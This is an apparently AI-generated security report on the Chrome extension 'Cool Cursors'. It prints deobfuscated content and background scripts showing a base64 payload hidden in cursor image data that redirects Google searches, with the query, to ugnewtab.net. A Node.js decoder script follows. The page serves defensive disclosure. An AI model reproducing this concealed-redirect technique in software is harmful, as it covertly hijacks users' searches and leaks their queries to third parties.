Is Cool Cursors - Custom Cursor for Chrome™ safe?
Cool Cursors redirects Google search pages to ugnewtab.net with the user's original search query.
When its hidden cursor payload is present in extension storage, Cool Cursors checks Google search result pages and redirects the tab to ugnewtab.net. The destination URL includes the original Google search query in the q parameter and is gated to run once per tab session.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Cool Cursors redirects Google searches to an affiliate search chain
When you search Google, the extension decodes a payload encoded inside one of its cursor images, then sends your tab through a chain of affiliate redirects that ends on a different search results page, carrying your original query.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You search Google for a term, for example https://www.google.com/search?q=securitytest.
Any tab on a www.google.*/search URL qualifies.
The extension replaces the search results page with a chain of affiliate redirects.
Your query is copied into the destination URL and forwarded through 4 redirects that end on mysearchpanel.co.
- Your Google search termssecuritytest
Everything you type into Google search is copied into the destination URL as plain text.
The redirect logic is not shipped as readable code. It is encoded as a base64 string appended after the real image data of one of the extension's cursor graphics, so it loads with the extension's normal assets.
[ "https://ugnewtab.net/search?sid=cc&q=", "www.google.", "/search", "location", "hostname", "pathname", "search", "replace", "sessionStorage", "cursor-applied", "getItem", "setItem", "URLSearchParams", "get", "q", "encodeURIComponent"]The redirect logic, as shipped vs. deobfuscated
content-scripts/content.js, renamed and restructured
content-scripts/content.jsconst DELIMITER = "#";const APPENDED_TOKEN_COUNT = 7;// The cursor's PNG data URI has 7 "#"-delimited tokens appended after the// real image data. This pulls them back out in original order.function splitAppendedTokens(cursorBase64, cursorX, cursorY, pointerBase64, pointerX, pointerY) { const allTokens = cursorBase64.split(DELIMITER); const lastSeven = []; for (let i = 0; i < APPENDED_TOKEN_COUNT; i++) lastSeven.push(allTokens[allTokens.length - (i + 1)]); lastSeven.reverse(); return [lastSeven, cursorBase64, cursorX, cursorY, pointerBase64, pointerX, pointerY];}// Six of the seven tokens are single-character/short fragments that only// spell real identifiers once concatenated: "at"+"ob" -> "atob",// "J"+"SON" -> "JSON", "par"+"se" -> "parse". The 7th token is the actual// base64 payload.function reassembleIdentifiers([tok1, tok2, tok3, base64Payload, tok5, tok6, tok7]) { return [tok1 + tok6, tok2 + tok5, tok3 + tok7, base64Payload];}function hostnameMatchesGoogle() { const isGoogleHost = location.hostname.startsWith("www.google."); const isSearchPath = Object.is(location.pathname, "/search"); return isGoogleHost && isSearchPath;}function alreadyRedirectedThisTab() { return typeof sessionStorage.getItem("cursor-applied") === "string";}function markTabAsRedirected() { sessionStorage.setItem("cursor-applied", JSON.stringify(true));}function redirectTo(query) { const encodedQuery = encodeURIComponent(query); location.replace("https://ugnewtab.net/search?sid=cc&q=" + encodedQuery);}function readQueryAndRedirect() { const query = new URLSearchParams(location.search).get("q"); if (query) redirectTo(query);}function maybeRedirectGoogleSearch() { if (hostnameMatchesGoogle() && !alreadyRedirectedThisTab()) { markTabAsRedirected(); readQueryAndRedirect(); }}function decodeAndRun([atobName, jsonName, parseName, base64Payload], globalScope) { const decodedString = globalScope[atobName](base64Payload); // atob(base64Payload) const payloadArray = globalScope[jsonName][parseName](decodedString); // JSON.parse(...) // payloadArray = ["https://ugnewtab.net/search?sid=cc&q=", "www.google.", // "/search", "location", "hostname", "pathname", "search", "replace", // "sessionStorage", "cursor-applied", "getItem", "setItem", // "URLSearchParams", "get", "q", "encodeURIComponent"] maybeRedirectGoogleSearch();}function extractAndRun([cursorBase64, cursorX, cursorY, pointerBase64, pointerX, pointerY]) { const identifiers = reassembleIdentifiers(splitAppendedTokens(cursorBase64, cursorX, cursorY, pointerBase64, pointerX, pointerY)[0]); decodeAndRun(identifiers, globalThis);}const contentScript = { matches: ["<all_urls>"], runAt: "document_start", allFrames: true, main() { (async () => { const storedValues = await readCursorValuesFromStorage(); extractAndRun(storedValues[0]); // [cursorBase64, cursorX, cursorY, pointerBase64, pointerX, pointerY] applyCursorStyles(storedValues); })(); },};background.js, renamed and restructured
background.jsconst STORAGE_KEYS = { id: "v3__init_cursor_id", cursorBase64: "v3__init_cursor_cursor_base64", cursorX: "v3__init_cursor_cursor_x", cursorY: "v3__init_cursor_cursor_y", pointerBase64: "v3__init_cursor_pointer_base64", pointerX: "v3__init_cursor_pointer_x", pointerY: "v3__init_cursor_pointer_y",};async function fetchCursorCatalog() { const response = await fetch("output.json"); if (!response.ok) throw new Error("res not ok"); return await response.json();}async function reinjectContentScriptIntoOpenTabs() { const tabs = await chrome.tabs.query({}); tabs.forEach((tab) => { if (typeof tab.id === "number") { chrome.scripting .executeScript({ target: { tabId: tab.id, allFrames: true }, files: ["content-scripts/content.js"] }) .catch(console.warn); } });}async function seedEncodedCursorPayload() { const cursorEntry = (await fetchCursorCatalog()).data[54]; const size = 32; await chrome.storage.local.set({ [STORAGE_KEYS.id]: cursorEntry.id, [STORAGE_KEYS.cursorBase64]: cursorEntry.cursor[size].base64, [STORAGE_KEYS.cursorX]: cursorEntry.cursor[size].x, [STORAGE_KEYS.cursorY]: cursorEntry.cursor[size].y, [STORAGE_KEYS.pointerBase64]: cursorEntry.pointer[size].base64, [STORAGE_KEYS.pointerX]: cursorEntry.pointer[size].x, [STORAGE_KEYS.pointerY]: cursorEntry.pointer[size].y, });}// On a fresh install, just re-inject the content script into open tabs.// On every OTHER onInstalled reason (chiefly an extension update), seed the// encoded redirect payload from cursor id 54 into chrome.storage.local instead.chrome.runtime.onInstalled.addListener((info) => { info.reason === "install" ? reinjectContentScriptIntoOpenTabs() : seedEncodedCursorPayload();});307 redirect, observed during dynamic analysis immediately after a content-script-attributed navigation away from google.com. The chain continues 302 -> 302 -> 200, ending on mysearchpanel.co with the original query intact.
- ugnewtab.net
First redirect hop. Receives your original Google search query in its q parameter before forwarding it onward.
- 844.us.rpdsrch.com
Second hop in the redirect chain. Forwards the query to the next affiliate host.
- mysearchpanel.co
Final landing page. Renders search results for your query under an affiliate campaign ID.
Pulls the redirect payload back out of the extracted extension's output.json and decodes it, the same way the extension does at runtime.
- Node.js 18+ (no external dependencies)
#!/usr/bin/env node// Extracts the redirect payload Cool Cursors encodes inside the base64// image data of its "Cool Cursor" (id 54), the same payload background.js// seeds into chrome.storage.local on every extension update.//// Usage: node cool-cursors-decode-payload.js /path/to/extracted/output.jsonconst fs = require("fs");const outputJsonPath = process.argv[2];if (!outputJsonPath) { console.error("Usage: node cool-cursors-decode-payload.js <path-to-output.json>"); process.exit(1);}const catalog = JSON.parse(fs.readFileSync(outputJsonPath, "utf8"));const cursorEntry = catalog.data["54"];const cursorBase64 = cursorEntry.cursor["32"].base64;// The PNG data URI is split on "#". The real image data is segment 0;// segment 4 of the remaining 7 segments is a base64 string that decodes to// a JSON array of strings the extension uses to build the redirect URL.const segments = cursorBase64.split("#");const encodedPayload = segments[4];const decodedJson = Buffer.from(encodedPayload, "base64").toString("utf8");const payload = JSON.parse(decodedJson);console.log("Decoded payload array:");console.log(payload);console.log("\nRedirect destination template:", payload[0]);console.log("Only fires when hostname starts with:", payload[1]);console.log("Only fires when pathname is:", payload[2]);- 1node cool-cursors-decode-payload.js /path/to/extracted/output.json
What it can do
Permissions this extension asks for, as declared in version 3.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Store data in your browser
storage
Run its own code inside the pages you visit
scripting
Where it sends data
Destinations our analysis observed Cool Cursors - Custom Cursor for Chrome™ contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ugnewtab.net
Cool Cursors - Custom Cursor for Chrome™ sends data to ugnewtab.net. One other extension we have analysed sends data here.